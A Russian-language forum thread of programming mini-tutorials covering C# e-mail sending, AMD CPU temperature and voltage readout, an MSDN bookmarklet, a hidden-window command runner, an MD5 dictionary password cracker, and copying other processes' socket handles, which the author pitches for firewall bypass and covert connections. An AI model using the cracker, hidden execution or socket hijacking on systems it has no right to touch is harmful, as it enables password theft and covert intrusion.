мини СТАТЬИ

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by De-visible, 6 May 2008.

  1. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    158
    Likes Received:
    76
    Reputations:
    3
    Отправка e-mail на С#

    Простое консольное приложение которое позволяет отправить email. Нужно указать свой Smtp-сервер в SmtpMail.SmtpServer, по умолчанию это localhost. Чтобы добавить System.Web.Mail идём в Project->Add Reference на вкладке .Net выбираем System.Web.
    Вариант 1:
    PHP:
    using System;
    using System.Web.Mail;

    namespace 
    SendMail
    {
      
    /// <summary>
      /// Test console application to demonstrate sending e-mail.
      /// </summary>
      
    class TestMail
      
    {
        
    /// <summary>
        /// The main entry point for the application.
        /// </summary>
        
    [STAThread]
        static 
    void Main(string[] args)
        {
          
    TestMail.Send("test@mail.ru",
                        
    "recip@mail.ru",
                        
    "Test Message Using CDOSYS",
                        
    "Hello World!  This is a simple message sent
                         using CDOSYS."
    );
        }

       
        public static 
    void Send(string MessageFrom,
                                
    string MessageTo,
                                
    string MessageSubject,
                                
    string MessageBody)
        {
          
    MailMessage message = new MailMessage();
          
    message.From        MessageFrom;
          
    message.To          MessageTo;
          
    message.Subject     MessageSubject;
          
    message.BodyFormat  MailFormat.Text;
          
    message.Body        MessageBody;

          try
          {
            
    System.Console.WriteLine("Sending outgoing message");
            
    SmtpMail.Send(message);
          }
          catch( 
    System.Web.HttpException exHttp )
          {
            
    System.Console.WriteLine("Exception occurred:" +
                                     
    exHttp.Message);
          }
        }
      }
    }

    Вариант2(отправка через Google):
    PHP:
    protected string sendMail(string fromstring tostring ccstring bccstring subjectstring body)
            {
                
    //Отсылка через System.Web.Mail
                // Инициализация
                
    System.Web.Mail.MailMessage mailMsg = new System.Web.Mail.MailMessage();
                
    mailMsg.From from;
                
    mailMsg.To to;
                
    mailMsg.Cc cc;
                
    mailMsg.Bcc bcc;
                
    mailMsg.Subject subject;
                
    mailMsg.BodyFormat System.Web.Mail.MailFormat.Text;
                
    mailMsg.Body body;
                
    mailMsg.Priority System.Web.Mail.MailPriority.High;
                
    // Smtp configuration
                
    System.Web.Mail.SmtpMail.SmtpServer "smtp.gmail.com";//smtp is :smtp.gmail.com
                // - smtp.gmail.com use smtp authentication
                
    mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate""1");
                
    mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername""myemail@gmail.com");
                
    mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword""mypassword");
                
    // - smtp.gmail.com use port 465 or 587
                
    mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpserverport""465");//port is: 465, 25 default
                // - smtp.gmail.com use STARTTLS (some call this SSL)
                
    mailMsg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpusessl""true");
                
    // Попытка отправки...
                
    try
                {
                    
    System.Web.Mail.SmtpMail.Send(mailMsg);
                    return 
    "";
                }
                catch (
    Exception ex)
                {
                    return 
    ex.Message;
                }
            }
     
    #21 jawbreaker, 6 Jan 2009
    Last edited by a moderator: 22 Feb 2009
    1 person likes this.
  2. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    395
    Reputations:
    297
    Измерение температуры процессора AMD64

    [Измерение температуры процессора AMD64]

    [Преамбула]

    Неожиданно при измерении температуры процессора CoreTemp - ом захотелось научиться это делать самостоятельно. Как видно из заголовка я обладатель процессора AMD.
    Почему я это решила запостить? Да как-то пока материал искала, наткнулась на несколько тем на форумах, но примера нормального так и не нашла (а вопросы такие периодически возникают). Материал практический, по теории достаточно в манах AMD. Я только кратко обрисую основные теоретически моменты.

    [Coding]
    Чтобы узнать текущую температуру нам потребуется доступ к так называемому Thermtrip Status Register. Его формат

    [​IMG]

    Чтобы прочитать значение Thermtrip Status Register для каждого ядра, нам потребуется доступ к конфигурационному пространству PCI.

    Для доступа к устройствам на шине PCI существует 2 порта - 0xCF8 и 0xCFC. Порт 0xCF8 именуется CONFIG_ADDRESS (0xCF8) и в него заносится значение в формате

    [​IMG]

    Порт 0xCFC или CONFIG_DATA предназначен для чтения/записи данных в конфигурационное пространство. Сначала мы должны выбрать нужное устройство посредством регистра CONFIG_ADDRESS, а потом прочитать данные из CONFIG_DATA (чуть забегая вперед записывать в CONFIG_DATA тоже придется при выборе ядра).

    Теперь перейдем непосредственно к кодингу. Для удобства формирования CONFIG_ADDRESS приведу 2 функции (взято из книженции "Программирование Аппаратных средств в Windows", глава 12 "Пространство шины PCI"):

    Code:
    int GetDeviceSlot(int iDevice,int iFunction){
    return ((((iDevice)&0x1f)<<3)|((iFunction)&0x07));
    }
    
    ULONG GetDevice(int iBus,int iSlot,int iAddress){
    return (0x80000000L |((iBus&0xff)<<16)|(iSlot<<8)|(iAddress&~3));
    }
    
    Таким образом, мы вызываем так

    Code:
     
    GetDevice(0,GetDeviceSlot(24,3),0xE4);
    
    То есть:
    Bus:0
    Device:24
    Function:3
    Offset:0xE4

    Почему такие значения? Все это из документации (ссылки на нее в конце).
    Ясное дело, что ядра у нас может быть 2. Тогда смотрим еще раз внимательно на формат Thermtrip Status Register и видим бит ThermSenseCoreSel, отвечающий как раз за выбор ядра. Если второй бит от нуля (ThermSenseCoreSel) будет равен 0, то мы проверяем температуру первого ядра, если 1- второго. Итак, полный код функции, которую следует поместить в драйвер

    Code:
     
    VOID GetTemperature(VOID){
    ULONG therm_=0,core=0,conf_data;
    ULONG cdata = GetDevice(0,GetDeviceSlot(24,3),0xE4);
    //пишем в Configuration Address Register
    _outpd(0xCF8,cdata);
    // читаем Configuration Data Register
    therm_ = _inpd(0xCFC);
    conf_data = therm_;
    //с каким ядром имеем дело
    core=therm_;
    core=(core>>2)&1;
    
    //нам нужны биты 23:14
    therm_=(therm_>>14)&(0x3FF);
    //вычисляем реальную температуру ядра по формуле 
    therm_=(therm_/4)-49;
    KdPrint(("Temperature Core%d: %d C",core,therm_));
    
    //проверяем другое ядро
    conf_data = conf_data^4;
    //пишем в Configuration Address Register
    _outpd(0xCF8,cdata);
    //выбираем другое ядро
    _outpd(0xCFC,conf_data);
    //пишем в Configuration Address Register
    _outpd(0xCF8,cdata);
    // читаем Configuration Data Register
    therm_ = _inpd(0xCFC);
    conf_data = therm_;
    //с каким ядром имеем дело
    core=therm_;
    core=(core>>2)&1;
    
    //нам нужны биты 23:14
    therm_=(therm_>>14)&(0x3FF);
    //вычисляем реальную температуру ядра по формуле 
    therm_=(therm_/4)-49;
    KdPrint(("Temperature Core%d: %d C",core,therm_));
    }
    
    Получилось что-то вроде...

    [​IMG]

    *Тестировалось на Amd Athlon 64 x2 Dual Core, ОС WinXPSP3

    [Что читать?]

    Ну если тема интересна, то могу порекомендовать по AMD

    [1] Мануалы от производителя.
    http://developer.amd.com/documentation/guides/Pages/default.aspx#developer_guides

    [2].Хорошая статья, которая помогла мне связать все воедино

    Реализация низкоуровневой поддержки шины PCI в ядре Linux
    http://www.opennet.ru/base/dev/pci_linux_kernel.txt.html
    конкретно по сабжу будет полезен раздел "Конфигурационное пространство устройства PCI", там как раз про Configuration Mechanism, CONFIG_ADDRESS, CONFIG_DATA. Как прочтете это - сразу все в голове уложится.


    PS В общем-то посредством пм со мной можно связаться и какой-то момент уточнить.
    PSS Сессия, мать ее, моя первая сессия. Чувствую себя ботом, сконфигурированным на заучивание конспектов.... (
     
    #22 0x0c0de, 28 Jan 2009
    Last edited: 28 Jan 2009
    4 people like this.
  3. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    395
    Reputations:
    297
    [Voltage ID]

    [Voltage ID]

    В жж своем писала уже это сегодня, но т.к. не все читают чужие жж как логическое продолжение отпишу и тут. Я так подумала, что буду потихоньку приводить в нормальный вид свой кодес с измерением температуры и делать что-то более-менее приличное, конечно, в образовательных целях. В планах привести сорс в нормальный удобочитаемый вид и выложить для всеобщего пользования.

    Ясное дело, что чисто температуру мерить довольно скушно, вот я и подумала по ходу дела прикрутить измерение текущего напряжения питания процессора, к тому же, что делается это довольно-таки просто. Для того, чтобы узнать текущий Voltage ID (а затем переверсти его в значение напряжения) нам потребуется доступ к так называемому FIDVID_STATUS register, машинно-зависимому регистру с адресом 0xС0010042.

    [​IMG]

    Его формат. Нас интересует 6-битовое поле CurrVID во втором двойном слове. Таблица соответсвия этих 6-битов и значения напряжения приведена ниже.

    [​IMG]

    Сначала проверяем с помощью функции 8000_0007 CPUID доступность этой [VID] опции (функции CPUID можно глянуть в CPUID Specification от AMD, ссылки на скачку я давала в предыдущем посте амдэшных мануалов).

    Code:
     
     _asm{
    //проверяем доступность опции
    // Advanced Power Management Information
    mov eax,80000007h
    cpuid
    // 2 бит в edx - VID: Voltage Id control
    bts edx,2
    // cf == 1?
    jnb ext
    mov isVID,TRUE
    ext:
      }
    
    Я думаю, что есть народ тут, который с асмом не дружит. Ну так вот, поясняю насчет многострадальной инструкции bts. Инструкции bts/btr полюбились мне еще в 2007 году, тогда кажись я постила 23 способа получения единицы в регистре (тема вроде такая была) и меня интересовали разные извратные способы, тогда-то я и познакомилась с этой инструкцией. Первый ее операнд - это источник, в котором мы проверяем бит с номером, хранящимся во втором операнде. То есть проверяем второй бит от нуля в edx. флаг CF устанавливается значением этого бита. Сам бит потом устанавливается в 1, но нам это уже не важно. jсс, проверяющие флаг CF - это jb и jnb. второй происходит, если этот бит 0. вот такие дела. Теперь, думаю, все ясно и непосвященному.
    В драйвере, после проверок пишем


    Code:
    // получаем напряжение
    if(isVID){
    _asm{
    mov ecx,0c0010042h
    rdmsr
    and edx,111111b
    mov uVID,edx
    }
    buf[2] = uVID;
    KdPrint(("VID %X",uVID));
    }else buf[2]=0xFFFFFFFF;
    

    Из таблицы соответствия была выведена формула для напряжения
    opart - часть до запятой, tpart - после запятой.


    Code:
    DWORD opart,tpart;
    
    if(tmp[2]<0x20){
     tmp[2]=1550-tmp[2]*25;
     opart = tmp[2]/1000;
     tpart = tmp[2]-1000;
     }else{
     tmp[2]=7750 - (tmp[2]-0x1F)*25;
      opart = 0;
     tpart = tmp[2];
     }
      wsprintf(core,L"%d.%dv",opart,tpart);
    

    Как-то так.
    ---
    Если есть ошибки - неточности в моих рассуждениях буду рада указанию на них, т.к. в общем-то тестирования достаточного не было и какой-то момент могла упустить. Кароче, велкам в jabber и пм, если что.

    ---------
    Ах да, речь, идет, конечно об амд, насчет как это у интелов я хз, пока в их манах не смотрела этого
     
    #23 0x0c0de, 7 Feb 2009
    Last edited: 9 Feb 2009
    2 people like this.
  4. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    395
    Reputations:
    297
    Нихеранепонятный код обновлен, теперь по крайней мере читабельно. Исправила баг с загрузкой драйвера [установка привилегий, в SP2 и SP3 моих работало нормально, но на win7 там не загружался]. И еще я действительно в первый раз не усмотрела нумерацию ядер в мануале и поэтому были разночтения коретемпом. Теперь номер измеряемого ядра показывается верно.

    сорцы, бинари теперь тут

    http://code.google.com/p/amd-cpu-info/

    Тот код, который выше в постах уже не исправляю, так как нет времени и желания. Пускай будет. За нормальными сорцами на код гугл. Замечания желательно слать в jabber, так как там я бываю чаще, чем на форуме.
     
    1 person likes this.
  5. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    994
    Likes Received:
    289
    Reputations:
    43
    MSDN с человеческим лицом, или "low-bandwidth view"

    Подумал что данный раздел более всего подходит.
    Оригинал (англ)
    Оригинальный копи-паст (рус)

    Jon Galloway пишет о сверхсекретной разработке Microsoft: MSDN с человеческим лицом, или "low-bandwidth view".
    С помощью фильтра loband, добавляемого в url статьи MSDN, её можно загрузить в 10-15 раз быстрее, без мишуры на пол-экрана:

    System.String.aspx , 317Кб
    [​IMG]

    System.String(loband).aspx , 14Кб
    [​IMG]
    Low-band представление можно сохранить с помощью cookie (ссылка Persist/switch off low bandwidth view вверху страницы). Или включать по желанию - для этого есть bookmarklet, который с помощью javascript этот cookie устанавливает/сбрасывает.

    Выглядит он так:
    javascript:
    if(document.cookie.indexOf('LoBandEnabled=yes')<0){
    document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';
    }
    else{
    document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';
    }
    window.location.reload();

    Установить в браузер его можно так:
    Для Firefox/Opera перетащите эту ссылку -
    PHP:
    [URL=javascript:if(document.cookie.indexOf('LoBandEnabled=yes')<0){document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}else{document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}window.location.reload();]MSDN Low Band[/URL]
    на панель ссылок.

    Для Internet Explorer - в контекстном меню ссылки
    PHP:
    [URL=javascript:if(document.cookie.indexOf('LoBandEnabled=yes')<0){document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}else{document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT';}window.location.reload();]MSDN Low Band[/URL]
    выберите "Add to favorites", и добавьте её в папку со Links.
     
    2 people like this.
  6. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    158
    Likes Received:
    76
    Reputations:
    3
    Создаём скрытое консольное приложение

    Эта мини-статья о том, как создать консольное приложение в Visual C++ так, чтобы оно не появлялось на экране.

    Основной трюк здесь в структуре STARTUPINFO. Она содержит много параметров, из них нам нужны
    PHP:
    DWORD cb
    DWORD dwFlags
    DWORD wShowWindow
    Сначала нужно объявить структуру и выделить для неё память:
    PHP:
    STARTUPINFO StartupInfo;
    memset(&StartupInfo0sizeof(StartupInfo));
    ZeroMemory(&StartupInfosizeof(StartupInfo));
    Теперь заполним структуру так, чтобы не показывать окно:
    PHP:
    // Задаём размер структуры
      
    StartupInfo.cb sizeof(STARTUPINFO);
      
      
    // Установка параметров окна
      
    StartupInfo.dwFlags STARTF_USESHOWWINDOW;

      
    // HIDE - прячем окно
      
    StartupInfo.wShowWindow SW_HIDE;
    Функция, которая принимает название программы для запуска из консоли и её аргументы:
    PHP:
    DWORD RunSilent(charstrFunctcharstrstrParams)
    {
        
    STARTUPINFO StartupInfo;
        
    PROCESS_INFORMATION ProcessInfo;
        
    char Args[4096];
        
    char *pEnvCMD NULL;
        
    char *pDefaultCMD "CMD.EXE";
        
    ULONG rc;
        
        
    memset(&StartupInfo0sizeof(StartupInfo));
        
    StartupInfo.cb sizeof(STARTUPINFO);
        
    StartupInfo.dwFlags STARTF_USESHOWWINDOW;
        
    StartupInfo.wShowWindow SW_HIDE;

        
    Args[0] = 0;

        
    pEnvCMD getenv("COMSPEC");

        if(
    pEnvCMD){
            
            
    strcpy(ArgspEnvCMD);
        }
        else{
            
    strcpy(ArgspDefaultCMD);
        }

        
    strcat(Args" /c "); 

        
    strcat(ArgsstrFunct);  
        
    strcat(Args" "); 
        
        
    strcat(ArgsstrstrParams); 

        if (!
    CreateProcessNULLArgsNULLNULLFALSE,
            
    CREATE_NEW_CONSOLE
            
    NULL
            
    NULL,
            &
    StartupInfo,
            &
    ProcessInfo))
        {
            return 
    GetLastError();        
        }

        
    WaitForSingleObject(ProcessInfo.hProcessINFINITE);
        if(!
    GetExitCodeProcess(ProcessInfo.hProcess, &rc))
            
    rc 0;

        
    CloseHandle(ProcessInfo.hThread);
        
    CloseHandle(ProcessInfo.hProcess);

        return 
    rc;
        
    }
    Пример:
    PHP:
    int main()
    {
        
    DWORD a RunSilent("ipconfig"" > out.txt");
        return 
    0;
    }
    создаст файл out.txt при этом ничего не выводя на экран.
     
  7. c0n Difesa

    c0n Difesa Member

    Joined:
    1 Jan 2009
    Messages:
    133
    Likes Received:
    66
    Reputations:
    18
    Перебор пароля по словарю. MD5-хеш (C#)

    Введение. Описание программы.

    Информация в данном материале может оказаться полезной для тех, кто планирует использовать авторизацию в своем ПО, работать с хешами алгоритма шифрования MD5, а так же для тех, кому просто интересен принцип работы переборщиков паролей по словарю (брутфорсеров). Автор акцентирует внимание читателя на том, что программа работает исключительно с базами словарей (в коде осуществляется работа с txt-файлами, но это не столь принципиально), а не генерирует диапазоны символов для перебора.


    Основная часть. Составление и кодирование алгоритма.

    Условие задачи довольно простое: имея на руках MD5-хеш, подобрать коллизию (проще говоря, найти комбинацию символов, соответствующую этому хешу, то бишь пароль). Принцип и алгоритм работы приведен ниже.

    1. Открыть файл с хешем (input.txt) и открыть файл с паролями (pass.txt).

    2. Перевести все символы хеша в верхний регистр. Данная операция позволит корректно сравнивать его с генерируемыми нами хешами (при генерации все символы в хеше в верхнем регистре).

    3. Прочитать i-ю строчку файла, где i принадлежит отрезку [0; EndOfFile] (это не столь важно, т.к. строка из файла будет считываться до тех пор, пока не окажется пустой).

    4. Сгенерировать хеш прочитанной строчки.

    5. Сравнить с целевым хешем. Если равны – вывести строку, соответствующую сгенерированному хешу. Если не равны – продолжить шаги 3-5.

    6. Если достигнут конец файла, то уведомить пользователя о том, что пароль не найден.

    Если по какой-либо причине непонятны те или иные шаги, то, возможно, все вопросы отпадут после анализа кода (и соответствующих ему комментариев) получившейся программы.

    Code:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Security.Cryptography;
    using System.IO;
    
    namespace MD5Brute
    {
        class Programm
        {
            static void Main(string[] args)
            {
                //убедиться, что в командной строке указано имя файла
                if ((args[0].Length == 0) || (args[1].Length == 0))
                {
                    Console.WriteLine("Error: Missing Input file or Pass file");
                    Console.ReadKey();
                }
                else
                {
                    //открыть файл с хешем
                    StreamReader reader = new StreamReader(args[0]);
                    string EnemyHash = reader.ReadLine(); //прочитать хэш
                    reader.Close();
                    EnemyHash = EnemyHash.ToUpper(); //перевести все символы в верхний регистр
                    //открыть файл с паролями
                    reader = new StreamReader(args[1]);
                    //перебрать каждую строку
                    for (string line = reader.ReadLine(); line != null; line = reader.ReadLine())
                    {
                        string CurrentHash = string.Empty;
                        //сгенерировать MD5-хеш
                        foreach (byte b in new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(line)))
                        {
                            CurrentHash += b.ToString("X2");
                        }
                        //сравнить хеши
                        if (CurrentHash == EnemyHash)
                        {
                            Console.WriteLine("Password: "+line);
                            Console.ReadKey();
                            return;
                        }
                    }
                    Console.ReadKey();
                    Console.WriteLine("No Password");
                    return;
                }
            }
        }
    }
    Формат запуска программы: md5brute.exe <%DIRECTORY%/input.txt> <%DIRECTORY%/pass.txt>


    Заключение.

    Конечно до полноценного брутфорсера этой программе далеко, но данные исходные коды вполне могут лечь в основу системы авторизации, продвинутого переборщика паролей, системы распределенных вычислений и чего-либо другого. По крайней мере, читатель теперь сумеет сгенерировать MD5-хеш.
     
  8. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,174
    Likes Received:
    266
    Reputations:
    82
    Операция “перехват”. Используем открытый сокет другого процесса.

    Меня всегда интересовало, а можно ли похитить сокет другой программы и использовать его в своих целях? Еще как можно!

    Обход фаервола, установка скрытых соединений, чтение конфиденциальных данных – это лишь немногое, что можно сделать, обладая сокетом.

    Метод перехвата прост и широко обсуждаем в интернете. Нам не потребуется глубоких знаний Windows, потому что все осуществимо из User Mode (ring 3), но для понимания основы знать просто необходимо. RTFM Джеффри Рихтер “Windows для профессионалов: создание эффективных Win32-приложений с учетом специфики 64-разрядной версии Windows”, глава 3

    Метод заключатся в следующем
    1. Получить список описателей (хэндлов - handle) открытых нужным процессом
    2. Найти среди них сокеты
    3. Скопировать их в свой процесс
    В листинге, представленном ниже, я использовал функцию ZwQuerySystemInformation (Native API)
    Code:
    NTSTATUS ZwQuerySystemInformation(
      SYSTEM_INFORMATION_CLASS SystemInformationClass,
      PVOID SystemInformation,
      ULONG SystemInformationLength,
      PULONG ReturnLength);
    
    для получения списка открытых описателей, передав ей в качестве первого аргумента SystemHandleInformation

    Для получения типа описателя функцию NtQueryObject
    Code:
    NTSTATUS NtQueryObject(
      HANDLE               ObjectHandle,
      OBJECT_INFORMATION_CLASS ObjectInformationClass,
      PVOID               ObjectInformation,
      ULONG                Length,
      PULONG              ResultLength );
    
    c параметром ObjectTypeInformation (нам нужны только ‘File’) и с параметром ObjectNameInformation для получения имени описателя (нам нужны сокеты ‘\Device\Afd’). Эти функции находятся в библиотеке ntdll.dll
    Копировать описатель – сокет в наш процесс мы будем функцией DuplicateHandle

    Листинг кода (VS2008 Win32->Console Project), демонстрирующий описанный выше метод для вывода всех открытых сокетов в системе.

    Code:
    #include "stdafx.h"
    
    #include <windows.h>
    
    #include <winternl.h> // нужный заголовочек с полезными структурами
    #include <Ntstatus.h> // структура NTSTATUS
    
    // подключаем сокеты для использования функций преобразования IP адреса и порта
    #include <Winsock.h>
    #pragma comment(lib, "ws2_32.lib")
    
    #define BUF_SIZE 102400 // размер буффера под таблицу информации и имени описателя
    
    // http://msdn.microsoft.com/en-us/library/aa492492.aspx эх, у меня нет DDK
    typedef enum _POOL_TYPE
    {
             NonPagedPool = 0,
             PagedPool = 1,
             NonPagedPoolMustSucceed = 2,
             DontUseThisType = 3,
             NonPagedPoolCacheAligned = 4,
             PagedPoolCacheAligned = 5,
             NonPagedPoolCacheAlignedMustS = 6,
             MaxPoolType = 7,
             NonPagedPoolSession = 32,
             PagedPoolSession = 33,
             NonPagedPoolMustSucceedSession = 34,
             DontUseThisTypeSession = 35,
             NonPagedPoolCacheAlignedSession = 36,
             PagedPoolCacheAlignedSession = 37,
             NonPagedPoolCacheAlignedMustSSession = 38
    } POOL_TYPE;
    
    // структура необходимая для получения имени описателя - NtQueryObject(ObjectNameInformation)
    typedef struct _OBJECT_NAME_INFORMATION {
    		UNICODE_STRING          Name;
    		WCHAR                   NameBuffer[0];
    } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
    
    // структура необходимая для получения типа описателя - NtQueryObject(ObjectTypeInformation)
    typedef struct _OBJECT_TYPE_INFORMATION {
      UNICODE_STRING          TypeName;
      ULONG                   TotalNumberOfHandles;
      ULONG                   TotalNumberOfObjects;
      WCHAR                   Unused1[8];
      ULONG                   HighWaterNumberOfHandles;
      ULONG                   HighWaterNumberOfObjects;
      WCHAR                   Unused2[8];
      ACCESS_MASK             InvalidAttributes;
      GENERIC_MAPPING         GenericMapping;
      ACCESS_MASK             ValidAttributes;
      BOOLEAN                 SecurityRequired;
      BOOLEAN                 MaintainHandleCount;
      USHORT                  MaintainTypeList;
      POOL_TYPE               PoolType;
      ULONG                   DefaultPagedPoolCharge;
      ULONG                   DefaultNonPagedPoolCharge;
    } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
    
    //используется в NtQueryObject
    typedef enum _OBJECT_INFORMATION_CLASS {
        ObjectBasicInformation,
        ObjectNameInformation,
        ObjectTypeInformation,
        ObjectAllInformation,
        ObjectDataInformation
    } OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
    
    //функции мы будем подключать динамически, поэтому их необохдимо описать :)
    
    // ZwQuerySystemInformation
    typedef NTSTATUS (CALLBACK *LPFNZwQuerySystemInformation)(
      SYSTEM_INFORMATION_CLASS SystemInformationClass,
      PVOID SystemInformation,
      ULONG SystemInformationLength,
      PULONG ReturnLength
    );
    LPFNZwQuerySystemInformation ZwQuerySystemInformation;
    
    // NtQueryObject
    typedef NTSTATUS (CALLBACK *LPFNNtQueryObject)(
      HANDLE               ObjectHandle,
      OBJECT_INFORMATION_CLASS ObjectInformationClass,
      PVOID               ObjectInformation,
      ULONG                Length,
      PULONG              ResultLength );
    LPFNNtQueryObject NtQueryObject;
    
    #define SystemHandleInformation 16 //недокументированый enum SYSTEM_INFORMATION_CLASS
    // структура используемая в ZwQuerySystemInformation
    typedef struct _SYSTEM_HANDLE_INFORMATION {
      USHORT ProcessId;
      USHORT CreatorBackTraceIndex;
      UCHAR ObjectTypeNumber;
      UCHAR Flags;
      USHORT Handle;
      PVOID Object;
      ACCESS_MASK GrantedAccess;
    } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
    
    // Расширенная структура для получения информации о всех описателях
    typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
      ULONG NumberOfHandles;
      SYSTEM_HANDLE_INFORMATION Information[1];
    } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
    
    
    int _tmain(int argc, _TCHAR* argv[]) {
    DWORD ret;
    NTSTATUS  ss; 
    PUNICODE_STRING us;
    POBJECT_TYPE_INFORMATION ot;
    int i,ress,rem_port,loc_port;
    char *remaddr,*locaddr;
    sockaddr_in sockname, locname;
    WSAData   WSData;
    
    HANDLE    hProcess,ObjHandle, hh;
    HINSTANCE hNTdll = LoadLibrary(L"Ntdll.dll"); 
    
    if(!hNTdll) return 1;
    
    //ищем функции
    ZwQuerySystemInformation = (LPFNZwQuerySystemInformation) 
    GetProcAddress(hNTdll, "ZwQuerySystemInformation");
    
    NtQueryObject=(LPFNNtQueryObject) 
    GetProcAddress(hNTdll, "NtQueryObject");
    
    WSAStartup(MAKEWORD(2,2), &WSData); // стартуем winsock 2.2
    
    printf("There are the following sockets opened on system:\n");
    
     // Получение числа описателей в системе
      DWORD buffer_size = 0;
      SYSTEM_HANDLE_INFORMATION_EX temp_info;
    
    ss = ZwQuerySystemInformation(
          (SYSTEM_INFORMATION_CLASS)SystemHandleInformation, &temp_info, 
          sizeof(temp_info), &buffer_size);
    
    // выделяем память под информацию о описателях и
    SYSTEM_HANDLE_INFORMATION_EX *system_handles =(SYSTEM_HANDLE_INFORMATION_EX*)malloc(buffer_size); // если C++ можно и (new BYTE[buffer_size])
    
    ss = ZwQuerySystemInformation(
          (SYSTEM_INFORMATION_CLASS)SystemHandleInformation,system_handles,
          buffer_size, &buffer_size);
    
    // выделяем память под сруктурки
    ot=(POBJECT_TYPE_INFORMATION)malloc(BUF_SIZE);
    us=(PUNICODE_STRING)malloc(BUF_SIZE);
    
    // информацию о всех описателях мы получили теперь пробежимся по ним... 
    for(i=0;i<system_handles->NumberOfHandles;i++) {
    
    /*
    Тут можно вставить проверку на описатели определенного процесса,
    PID которого можно получить кучей разных способов (см. ссылки в конце статьи)
    */
    
    	hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, system_handles->Information[i].ProcessId); // открываем процесс с нужными правами доступа
    	if (hProcess != INVALID_HANDLE_VALUE)
    		{
    		hh=(HANDLE)system_handles->Information[i].Handle; // у меня были проблемы с преобразованиями - для этого и завел новую переменную
    		
    		// теперь копируем описатель в адресное пространство своего процесса
    		if(DuplicateHandle(hProcess,hh,INVALID_HANDLE_VALUE, &ObjHandle, DUPLICATE_SAME_ACCESS, 0, 0)) {
    			// вытаскиваем информацию о типе описателя
    			ss = NtQueryObject(ObjHandle,ObjectTypeInformation, ot, BUF_SIZE, &ret);
    			if (ss == STATUS_SUCCESS) {
    				//кстати таким образом можно перехватывать любые обьекты ядра заданые в таблице описателей процесса,
    				if(lstrcmp(ot->TypeName.Buffer,L"File")==0){ // но нам нужен только File
    					// вытаскиваем информацию о имени описателя
    					ss=NtQueryObject(ObjHandle,ObjectNameInformation, us, BUF_SIZE, &ret);
    					if(ss==STATUS_SUCCESS){
    						if(lstrcmp(us->Buffer,L"\\Device\\Afd")==0){ // если это сокет
    							
    /*
    =================================================================================
    Вот впринципе и все! мы нашли сокет и он уже находится во власти нашего процесса
    теперь мы можем делать с ним все, что захотим! ;)
    а я хочу вывысти информацию о нем и о том кому он пренадлежит.
    =================================================================================
    */
    
    							ress = sizeof(sockaddr_in);//--- commenting this line would cause an 10014 error.
    							getpeername((SOCKET)ObjHandle, (sockaddr *)&sockname, &ress);
    
    							//--- определяем локальный IP и порт
    							ress = sizeof(sockaddr_in);//--- commenting this line would cause an 10014 error.
    							getsockname((SOCKET)ObjHandle, (sockaddr *)&locname, &ress);
    				
    
    							//--- коевертируем в понятные для глаза данные )
    							remaddr = inet_ntoa(sockname.sin_addr);
    							rem_port = ntohs(sockname.sin_port);
    
    							locaddr = inet_ntoa(locname.sin_addr);
    							loc_port = ntohs(locname.sin_port);
    
    							// выводим информацию
    							wprintf(L"PID=%d; Local=%S:%d; Peer=%S:%d;\n",system_handles->Information[i].ProcessId,locaddr,loc_port,remaddr,rem_port);
    							}
    						} // --- name handle
    					} 
    				} // --- type handle
    
    
    			} // -- duplicate handle
    			CloseHandle(hProcess);
    		}
    	} // --- for
    
    // освобождаем память
    free(ot);
    free(us);
    free(system_handles);
    
    
    WSACleanup(); // отключаемс сокеты
    FreeLibrary(hNTdll); // и выгружаем DLL
    
    getchar(); // а это так для паузы )
    return 0;
    }
    
    Полезные ссылки
    Множество примеров использования Tool Help и ZwQuerySystemInformation
    Недокументированные функции Windows NT/2K/XP/2003
     
    _________________________
    4 people like this.
  9. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    64
    Likes Received:
    57
    Reputations:
    5
    Системный вызов stat

    Системный вызов stat
    Программирование для linux.
    Если в консоли выполнить команду ls-l, то мы увидим кроме всего прочего, информацию о файлах, такую как: права доступа, uid. gid, размер и т.п.
    Для получения этой информации программно, нужно использовать вызов stat.
    Code:
    stat(char *file,struct stat fbuf);
    
    Первый аргумент это имя/путь файла. Второй - это структура stat.
